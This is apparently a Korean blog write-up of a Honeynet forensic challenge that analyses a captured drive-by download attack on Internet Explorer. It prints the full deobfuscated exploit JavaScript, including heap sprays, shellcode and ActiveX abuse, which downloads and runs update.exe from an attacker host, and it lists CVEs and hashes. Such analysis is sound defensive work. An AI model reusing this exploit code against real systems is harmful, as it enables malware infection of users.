4192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179121190202179206153142156182171172171215200140174190147154201225206175135173161172127219213157169168152132175119199201191220142104139183147210192223179103144192143121221232195190134171181138175220194156188110131165166126201223176224126125172179169172200223192140103190147154201163205174135158182138156218204194207161128204183180201201159209153125190185169206180174202162140186167142187194181174109169180172179156214215173174127154140128199224192218151122198115170211222161202159103200143178179235196190123102172152128206211215189159154149171188176202155209142142164173168168218214178141170139134180209223181170123175157155187149213216211108153188116189177221184224143141152115161186171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135194179161206217210202158162137167143175167207154126111180188124169213215189157154153153151190223218211142105163178169206233216177174173192141192209171195153123102171117174212204189211108156170115146198201195214126142155179172152196227204141170203147158157231188153139102166117145214204193181101129149166181177185158215155141160171171172192217178124139194168122150171173212161163157134141222189194219101153192175126200220155221129161182175171170171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135194179161206217210202158162137167143175167207154126111180188124173204194185133143191179179190165187214151159190124160151184154192103157193157154209169208191101129181176157149214194177170127154140126203195218212153141135173171172222224201158120154165192205218181191169104171155144204213228152121153191153175201185192183128125151182145150214190192104128194166143182231191153157162180138190211189190219103143170140174199236155171152163168171171172200186178124123197141119171183190151135121158175149149213215189157152165166183180165196207152159148175151189191223185140107132164159175232204212102162180177152212188155169174152132145179200165183213128138198117160189187209204124158203147158154163204174172109182176141222187177177165152188116179177221214151143141130178145150196176187139119192142154216224194173172164157117161213212177189170143169116179180165188224154142198119168173187163201162140133140141205192190172157102182139137184204194173102144170145119176181213158155135194173160189196212200120158190142159217162205213161109183138175222194193156161154203133137190165188215153163168156155151188219193140132130142138201192203190131175180118149219204216184170141151116148184184188188138121181179150152162181192103124130156121204225196186161109183138175222194193156161154203133137190165188215153163168156155151188219193140132130142138201192191152157132166135144218199156189174154191153192188183155180136124164152156168213218182104103139134180209223181170123106179139144213213215189101154170141188176182171215132105186178170206167224202124140199142138201186188189134164158139157222212178185171144191175186191197226212142141202189161184221181204124158203143181179222204212134165180177157216212173210108154191137192174185196215151125168173169151167154193140107130147159205225205208106175172155149220212156156175144167141189191186213158151175135152172189180214183137123137165192154192204153135162162151148156212227156133153153153188176181213158151175135155170210222154193136158191164158221222195153110171182138157218214173210108152203120155190202196211139125139138168188234214178124128194165176220235181187169176158175145150212211207158151169119186178181213158155135194176171188167212203124162200165176167230196174123160157134179156214215173174127153174128178182222153142142155170169151188219193140132130166193150231196191152157163155145222203194210164128133183138183182213153134176167116149206162156181138123204143155170234188171118170161151174223195189151172131151144190179183196171130160190137148223204163177174173192168119175183185187143122160151156151190190192102135166144187178198176172130121130120150169192172179137119201148193166162188210130175161152156223192216151163130149167126182199179156134161160137153170195222185138131133149154149162184151138174158151178223191212176169136150149137178220175222131160151118148185183156205136153197141122216233183171118104164173136223191227151172131150132190177198171222130122147183152223179225180120102201144139166233183171118173159135136220192174193110128203186181202236171222130122172138148169192172179137119201144139166230183171118173159134120169191174168172130166132190178182171222130122147186148169179154181163102192143138201169184212138176159173136152191177172169132204156121191181154151143141167117147185217157182140131198157142178234196212122107159154152222204215180175156165166186175165221153131122151115149185183227184158103149146155200166182187134103159152152217195190169122133149116142182162196172135160159189153185217228180101132139141192220224207225153125160152144152196212192175130167156190179221195219131122159189148184162158184137127132143155178236185188138173159115148220195191188175136154115181177181206158130122171118148207192176180121161198149177183182183208101102159117148153190190206175132166170187178182214174134102163187153170187225181175143132169154200229180154168104159189179172192228176102136187115191182220180172129138163119148223183222184137162153149138149166184225134106160135170151193174176172131166133128175235225213154102156133148169183158181137161135143155171183187209130170160135153210193189151105131130140119177198187153130138163116149170191158181122128153146143149224182170153109164135137169191174203122132166156187179162183153132137130115148149203226179138127130148155166230183209139125160152140221191191193119135188136124203197205218127105198137150170192174184101136151149176150182187187126106158151152154192215176169135188132120178181154153134176147118152223221156180159135133145178175171180224173171182154191216189190219104151153175186191197210221142163194175160152196228190103162182142159217164195191126157171151120218214193223168133132175180176185163208150163168173171173192204200139102199166122187219205154135175179154124211189174168168131165174128181197206158127175190122160185163213201103132131165158187231206170106160181176157205214177189123152153153187191201159151128121182185160210226214192104135192142155217218182213131162182136141149214178177165143192153119191197209213142104202171170152192218193120153197141121179229205153161161161172170215212156177166144169145119200163222215141137135189171188188228203125128194165180200225183186173172171176183209203157185175141132175171177223226211151163182115168168162226178136161137169158187229205153139109182139145154215156172110152191153122174183176209153125190117161187218186192162166190156122182225204153127167172154149149213155219165142165174126203201184207153125160178146172199218204104103139134180209223181174122166183118153222215194219103143170140174190220155171152163168171171172200186178124123197141120201198195154127166181139152218199156207161152153186181176198222215143159186172146189230218193158158154165192205218181186161109179154160212195156207161143132183145186181209215128142198135169151163225201124140130157154204226185154102162180139149209215154181171152170133186191202188211128121189122173182226227193141136131166180153217206175127103172151187158216194152159143170149177198181210211128142198124173182226218178174169137169152213182204153102173180138157149204189206165133133115146199201188207142175185179150220175167\u0026#39;)); //--\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;noscript\u0026gt;\u0026lt;/noscript\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 이 코드를 풀면 래와 같은 코드가 나온다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function Complete(){setTimeout(\u0026#39;location.href = \u0026#34;about:blank\u0026#39;,2000);} function CheckIP(){var req=null;try{req=new ActiveXObject(\u0026#34;Msxml2.XMLHTTP\u0026#34;);}catch(e){try{req=new ActiveXObject(\u0026#34;Microsoft.XMLHTTP\u0026#34;);}catch(e){try{req=new XMLHttpRequest();}catch(e){}}} if(req==null)return\u0026#34;0\u0026#34;;req.open(\u0026#34;GET\u0026#34;,\u0026#34;/fg/show.php?get_ajax=1\u0026amp;r=\u0026#34;+Math.random(),false);req.send(null);if(req.responseText==\u0026#34;1\u0026#34;){return true;}else{return false;}} var urltofile=\u0026#39;http://sploitme.com.cn/fg/load.php?e=1\u0026#39;;var filename=\u0026#39;update.exe\u0026#39;;function CreateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){} if(!r){try{r=o.CreateObject(n,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.CreateObject(n,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.GetObject(\u0026#39;\u0026#39;,n)}catch(e){}} if(!r){try{r=o.GetObject(n,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.GetObject(n)}catch(e){}} return r;} function Go(a){var s=CreateO(a,\u0026#39;WScript.Shell\u0026#39;);var o=CreateO(a,\u0026#39;ADODB.Stream\u0026#39;);var e=s.Environment(\u0026#39;Process\u0026#39;);var xhr=null;var bin=e.Item(\u0026#39;TEMP\u0026#39;)+\u0026#39;\\\\\u0026#39;+filename;try{xhr=new XMLHttpRequest();} catch(e){try{xhr=new ActiveXObject(\u0026#39;Microsoft.XMLHTTP\u0026#39;);} catch(e){xhr=new ActiveXObject(\u0026#39;MSXML2.ServerXMLHTTP\u0026#39;);}} if(!xhr)return(0);xhr.open(\u0026#39;GET\u0026#39;,urltofile,false) xhr.send(null);var filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);} function mdac(){var i=0;var objects=new Array(\u0026#39;{BD96C556-65A3-11D0-983A-00C04FC29E36}\u0026#39;,\u0026#39;{BD96C556-65A3-11D0-983A-00C04FC29E36}\u0026#39;,\u0026#39;{AB9BCEDD-EC7E-47E1-9322-D4A210617116}\u0026#39;,\u0026#39;{0006F033-0000-0000-C000-000000000046}\u0026#39;,\u0026#39;{0006F03A-0000-0000-C000-000000000046}\u0026#39;,\u0026#39;{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}\u0026#39;,\u0026#39;{6414512B-B978-451D-A0D8-FCFDF33E833C}\u0026#39;,\u0026#39;{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}\u0026#39;,\u0026#39;{06723E09-F4C2-43c8-8358-09FCD1DB0766}\u0026#39;,\u0026#39;{639F725F-1B2D-4831-A9FD-874847682010}\u0026#39;,\u0026#39;{BA018599-1DB3-44f9-83B4-461454C84BF8}\u0026#39;,\u0026#39;{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}\u0026#39;,\u0026#39;{E8CCCDDF-CA28-496b-B050-6C07C962476B}\u0026#39;,null);while(objects[i]){var a=null;if(objects[i].substring(0,1)==\u0026#39;{\u0026#39;){a=document.createElement(\u0026#39;object\u0026#39;);a.setAttribute(\u0026#39;classid\u0026#39;,\u0026#39;clsid:\u0026#39;+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}} if(a){try{var b=CreateO(a,\u0026#39;WScript.Shell\u0026#39;);if(b){if(Go(a)){if(CheckIP()){Complete();}else{Complete();} return true;}}}catch(e){}} i++;} Complete();} mdac(); 위 코드는 MS06-014 취약점을 이용하여 http://sploitme.com.cn/fg/load.php?e=1 파일을 다운로드 하여 update.exe 파일로 저장 후 실행하는 코드로 보인다.\n추가로 아래쪽 패킷을 보면 http://sploitme.com.cn/fg/show.php?s=84c090bd86 로 접근한 이력도 있다. 해당 페이지 코드는 위 코드에서 좀 더 많은 취약점이 추가되어 있다. 우선 난독화를 해제하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function Complete(){setTimeout(\u0026#39;location.href = \u0026#34;about:blank\u0026#39;,2000);} function CheckIP(){var req=null;try{req=new ActiveXObject(\u0026#34;Msxml2.XMLHTTP\u0026#34;);}catch(e){try{req=new ActiveXObject(\u0026#34;Microsoft.XMLHTTP\u0026#34;);}catch(e){try{req=new XMLHttpRequest();}catch(e){}}} if(req==null)return\u0026#34;0\u0026#34;;req.open(\u0026#34;GET\u0026#34;,\u0026#34;/fg/show.php?get_ajax=1\u0026amp;r=\u0026#34;+Math.random(),false);req.send(null);if(req.responseText==\u0026#34;1\u0026#34;){return true;}else{return false;}} var urltofile=\u0026#39;http://sploitme.com.cn/fg/load.php?e=1\u0026#39;;var filename=\u0026#39;update.exe\u0026#39;;function CreateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){} if(!r){try{r=o.CreateObject(n,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.CreateObject(n,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.GetObject(\u0026#39;\u0026#39;,n)}catch(e){}} if(!r){try{r=o.GetObject(n,\u0026#39;\u0026#39;)}catch(e){}} if(!r){try{r=o.GetObject(n)}catch(e){}} return r;} function Go(a){var s=CreateO(a,\u0026#39;WScript.Shell\u0026#39;);var o=CreateO(a,\u0026#39;ADODB.Stream\u0026#39;);var e=s.Environment(\u0026#39;Process\u0026#39;);var xhr=null;var bin=e.Item(\u0026#39;TEMP\u0026#39;)+\u0026#39;\\\\\u0026#39;+filename;try{xhr=new XMLHttpRequest();} catch(e){try{xhr=new ActiveXObject(\u0026#39;Microsoft.XMLHTTP\u0026#39;);} catch(e){xhr=new ActiveXObject(\u0026#39;MSXML2.ServerXMLHTTP\u0026#39;);}} if(!xhr)return(0);xhr.open(\u0026#39;GET\u0026#39;,urltofile,false) xhr.send(null);var filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);} function mdac(){var i=0;var objects=new Array(\u0026#39;{BD96C556-65A3-11D0-983A-00C04FC29E36}\u0026#39;,\u0026#39;{BD96C556-65A3-11D0-983A-00C04FC29E36}\u0026#39;,\u0026#39;{AB9BCEDD-EC7E-47E1-9322-D4A210617116}\u0026#39;,\u0026#39;{0006F033-0000-0000-C000-000000000046}\u0026#39;,\u0026#39;{0006F03A-0000-0000-C000-000000000046}\u0026#39;,\u0026#39;{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}\u0026#39;,\u0026#39;{6414512B-B978-451D-A0D8-FCFDF33E833C}\u0026#39;,\u0026#39;{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}\u0026#39;,\u0026#39;{06723E09-F4C2-43c8-8358-09FCD1DB0766}\u0026#39;,\u0026#39;{639F725F-1B2D-4831-A9FD-874847682010}\u0026#39;,\u0026#39;{BA018599-1DB3-44f9-83B4-461454C84BF8}\u0026#39;,\u0026#39;{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}\u0026#39;,\u0026#39;{E8CCCDDF-CA28-496b-B050-6C07C962476B}\u0026#39;,null);while(objects[i]){var a=null;if(objects[i].substring(0,1)==\u0026#39;{\u0026#39;){a=document.createElement(\u0026#39;object\u0026#39;);a.setAttribute(\u0026#39;classid\u0026#39;,\u0026#39;clsid:\u0026#39;+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}} if(a){try{var b=CreateO(a,\u0026#39;WScript.Shell\u0026#39;);if(b){if(Go(a)){if(CheckIP()){Complete();}else{aolwinamp();} return true;}}}catch(e){}} i++;} aolwinamp();} function aolwinamp(){try{var obj=document.createElement(\u0026#39;object\u0026#39;);document.body.appendChild(obj);obj.id=\u0026#39;IWinAmpActiveX\u0026#39;;obj.width=\u0026#39;1\u0026#39;;obj.height=\u0026#39;1\u0026#39;;obj.data=\u0026#39;./directshow.php\u0026#39;;obj.classid=\u0026#39;clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF\u0026#39;;var shellcode=unescape(\u0026#34;%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D\u0026#34;);var bigblock=unescape(\u0026#34;%u0c0c%u0c0c\u0026#34;);var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length\u0026lt;slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace\u0026lt;0x40000)block=block+block+fillblock;var memory=new Array();for(var i=0;i\u0026lt;666;i++){memory[i]=block+shellcode;} document.write(\u0026#39;\u0026lt;SCRIPT language=\u0026#34;VBScript\u0026#34;\u0026gt;\u0026#39;);document.write(\u0026#39;bof=string(1400,unescape(\u0026#34;%ff\u0026#34;)) + string(1000,unescape(\u0026#34;%0c\u0026#34;))\u0026#39;);document.write(\u0026#39;IWinAmpActiveX.ConvertFile bof,1,1,1,1,1\u0026#39;);document.write(\u0026#39;IWinAmpActiveX.ConvertFile bof,1,1,1,1,1\u0026#39;);document.write(\u0026#39;IWinAmpActiveX.ConvertFile bof,1,1,1,1,1\u0026#39;);document.write(\u0026#39;IWinAmpActiveX.ConvertFile bof,1,1,1,1,1\u0026#39;);document.write(\u0026#39;\u0026lt;/SCRIPT\u0026gt;\u0026#39;);}catch(e){} directshow();} function directshow(){var shellcode=unescape(\u0026#34;%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D\u0026#34;);var bigblock=unescape(\u0026#34;%u9090%u9090\u0026#34;);var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length\u0026lt;slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace\u0026lt;0x40000){block=block+block+fillblock;} var memory=new Array();for(var i=0;i\u0026lt;350;i++){memory[i]=block+shellcode;} try{var obj=document.createElement(\u0026#39;object\u0026#39;);document.body.appendChild(obj);obj.width=\u0026#39;1\u0026#39;;obj.height=\u0026#39;1\u0026#39;;obj.data=\u0026#39;./directshow.php\u0026#39;;obj.classid=\u0026#39;clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF\u0026#39;;setTimeout(\u0026#34;if (CheckIP()){ Complete(); } else { snapshot(); }\u0026#34;,1000);}catch(e){snapshot();}} function snapshot(){var x;var obj;var mycars=new Array();mycars[0]=\u0026#39;c:/Program Files/Outlook Express/wab.exe\u0026#39;;mycars[1]=\u0026#39;d:/Program Files/Outlook Express/wab.exe\u0026#39;;mycars[2]=\u0026#39;e:/Program Files/Outlook Express/wab.exe\u0026#39;;try{var obj=new ActiveXObject(\u0026#39;snpvw.Snapshot Viewer Control.1\u0026#39;);}catch(e){try{var obj=document.createElement(\u0026#39;object\u0026#39;);obj.setAttribute(\u0026#39;classid\u0026#39;,\u0026#39;clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9\u0026#39;);obj.setAttribute(\u0026#39;id\u0026#39;,\u0026#39;obj\u0026#39;);obj.setAttribute(\u0026#39;width\u0026#39;,\u0026#39;1\u0026#39;);obj.setAttribute(\u0026#39;height\u0026#39;,\u0026#39;1\u0026#39;);document.body.appendChild(obj);}catch(e){}} try{if(obj=\u0026#39;[object]\u0026#39;){for(x in mycars){obj=new ActiveXObject(\u0026#39;snpvw.Snapshot Viewer Control.1\u0026#39;);var buf=mycars[x];obj.Zoom=0;obj.ShowNavigationButtons=false;obj.AllowContextMenu=false;obj.SnapshotPath=\u0026#39;http://sploitme.com.cn/fg/load.php?e=6\u0026#39;;try{obj.CompressedPath=buf;obj.PrintSnapshot();var snpelement=document.createElement(\u0026#39;iframe\u0026#39;);snpelement.setAttribute(\u0026#39;id\u0026#39;,\u0026#39;snapiframe\u0026#39;);snpelement.setAttribute(\u0026#39;src\u0026#39;,\u0026#39;about:blank\u0026#39;);snpelement.setAttribute(\u0026#39;width\u0026#39;,1);snpelement.setAttribute(\u0026#39;height\u0026#39;,1);snpelement.setAttribute(\u0026#39;style\u0026#39;,\u0026#39;display:none;\u0026#39;);document.body.appendChild(snpelement);setTimeout(\u0026#34;document.getElementById(\u0026#39;snapiframe\u0026#39;).src = \u0026#39;ldap://\u0026#39;;\u0026#34;,3000);}catch(e){}}}}catch(e){} com();} function com(){try{var obj=document.createElement(\u0026#39;object\u0026#39;);document.body.appendChild(obj);obj.setAttribute(\u0026#39;classid\u0026#39;,\u0026#39;clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\u0026#39;);if(obj){var shcode=unescape(\u0026#34;%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D\u0026#34;);var hbs=0x100000;var sss=hbs-(shcode.length*2+0x38);var hb=(0x0c0c0c0c-hbs)/hbs;var myvar=unescape(\u0026#34;%u0C0C%u0C0C\u0026#34;);var ss=myvar;while(ss.length*2\u0026lt;sss){ss+=ss;} ss=ss.substring(0,sss/2);var m=new Array();for(var i=0;i\u0026lt;hb;i++){m[i]=ss+shcode;} var z=Math.ceil(0x0c0c0c0c);z=document.scripts[0].createControlRange().length;}}catch(e){} spreadsheet();} function spreadsheet(){try{var objspread=new ActiveXObject(\u0026#39;OWC10.Spreadsheet\u0026#39;);}catch(e){} if(objspread){try{var shellcode=unescape(\u0026#34;%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D\u0026#34;);var array=new Array();var ls=0x81000-(shellcode.length*2);var bigblock=unescape(\u0026#34;%u0b0c%u0b0C\u0026#34;);while(bigblock.length\u0026lt;ls/2){bigblock+=bigblock;} var lh=bigblock.substring(0,ls/2);delete bigblock;for(var i=0;i\u0026lt;0x99*2;i++){array[i]=lh+lh+shellcode;} CollectGarbage();var objspread=new ActiveXObject(\u0026#34;OWC10.Spreadsheet\u0026#34;);e=new Array();e.push(1);e.push(2);e.push(0);e.push(window);for(i=0;i\u0026lt;e.length;i++){for(j=0;j\u0026lt;10;j++){try{objspread.Evaluate(e[i]);}catch(e){}}} window.status=e[3]+\u0026#34;\u0026#34;;for(j=0;j\u0026lt;10;j++){try{objspread.msDataSourceObject(e[3]);}catch(e){}}}catch(e){}} Complete();} mdac(); 여기서 각각 함수에 따른 취약점을 설명하면 아래와 같다.\nmdac() MS06-014 CLSID : BD96C556-65A3-11D0-983A-00C04FC29E36 외 다수 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=1\naolwinamp() AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7) CVE-2007-6250 관련 사이트 : http://www.kb.cert.org/vuls/id/568681 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=3\ndirectshow() MS09-032 CLSID : 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=4\nsnapshot() CVE-2008-2463 CLSID : F0E42D50-368C-11D0-AD81-00A0C90DC8D9 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=6\ncom() MS05-052 CLSID : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=7\nspreadsheet() CVE-2009-1136 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=8\nQ4. Can you sketch an overview of the general actions performed by the attacker? (2pts) 공격자는 rapidshare.com.eyu32.ru/login.php 페이지에 SQL Injection 등의 공격을 통해 악성 스크립트를 삽입하였다. 그로 인해 해당 페이지 방문자는 http://sploitme.com.cn/?click=3feb5a6b2f 페이지로 접속하게 되며, MS06-014 취약점 외 다수 취약점을 통해 악성코드에 감염되게 된다.\nQ5. What steps are taken to slow the analysis down? (2pts) 패킷을 보면 http://sploitme.com.cn/?click=3feb5a6b2f 페이지 접속 시 아래와 같은 코드를 보여줘서 없는 페이지로 착각하게 만든다.\n1 2 3 4 5 6 7 \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//IETF//DTD HTML 2.0//EN\u0026#34;\u0026gt; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt; \u0026lt;meta name=\u0026#34;robots\u0026#34; content=\u0026#34;noindex\u0026#34;\u0026gt; \u0026lt;title\u0026gt;404 Not Found\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt;\u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Not Found\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.\u0026lt;/p\u0026gt; Q6. Provide the javascripts from the pages identified in the previous question. Decode/deobfuscate them too. (8pts) 자바스크립트를 디코딩 하라는 문제로 보이며 위 3번에서 모두 설명 했음.\nQ7. On the malicious URLs at what do you think the variable 's' refers to? List the differences. (2pts) s 변수에 적힌값에 따라 접속하는 페이지는 아래 두 페이지로 확인되었으며 두 페이지의 내용은 약간의 차이가 있다. 설명은 3번에서 모두 했음. http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f http://sploitme.com.cn/fg/show.php?s=84c090bd86\nQ8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented? (4pts) 모두 Windows 시스템의 Internet Explorer를 타켓으로 한 취약점이다.\nmdac() MS06-014 CLSID : BD96C556-65A3-11D0-983A-00C04FC29E36 외 다수 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=1\naolwinamp() AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7) CVE-2007-6250 관련 사이트 : http://www.kb.cert.org/vuls/id/568681 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=3\ndirectshow() MS09-032 CLSID : 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=4\nsnapshot() CVE-2008-2463 CLSID : F0E42D50-368C-11D0-AD81-00A0C90DC8D9 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=6\ncom() MS05-052 CLSID : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=7\nspreadsheet() CVE-2009-1136 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=8\nQ9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the binaries). What's the difference between them? (8pts) 쉘코드 파일이 전체 덤프에서 총 5개 있었으나 이중 정상적으로 동작하는 것은 2개로 MD5값은 아래와 같다.\n1 2 #174 : e827460c0b6699922ac5a8e11fc3d3e2 #496 : b906014e9fcc31a849f97bebac475df5 Q10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge) (4pts) 우선 최종적으로 다운로드 하는 파일은 모두 같으며 MD5 값은 다음과 같다. 52312bb96ce72f230f0350e78873f791\n해당 파일은 특별히 악의적인 증상은 없으며 실행하게 되면 http://www.honeynet.org/ URL로 접속하게 된다.\n","date":"2011-03-16T17:16:43Z","permalink":"/2011/03/16/challenge-2-of-the-forensic-challenge-2010-browsers-under-attack/","title":"Challenge 2 of the Forensic Challenge 2010 - browsers under attack"},{"content":"예전부터 한번 풀어봐야지 하고 생각했던걸 이제서야 풀어보려고 한다. 영어의 압박이 있긴 하지만....... URL : http://www.honeynet.org/node/504\nQ1. Which systems (i.e. IP addresses) are involved? (2pts) 1번 문제는 간단하게 어떤 시스템이 관여되어 있는지 확인하는 문제이다. Wireshark를 통해 Conversations 기능을 이용하여 확인하면 쉽게 확인할 수 있다. 대충 몇몇 패킷을 확인하니 공격자는 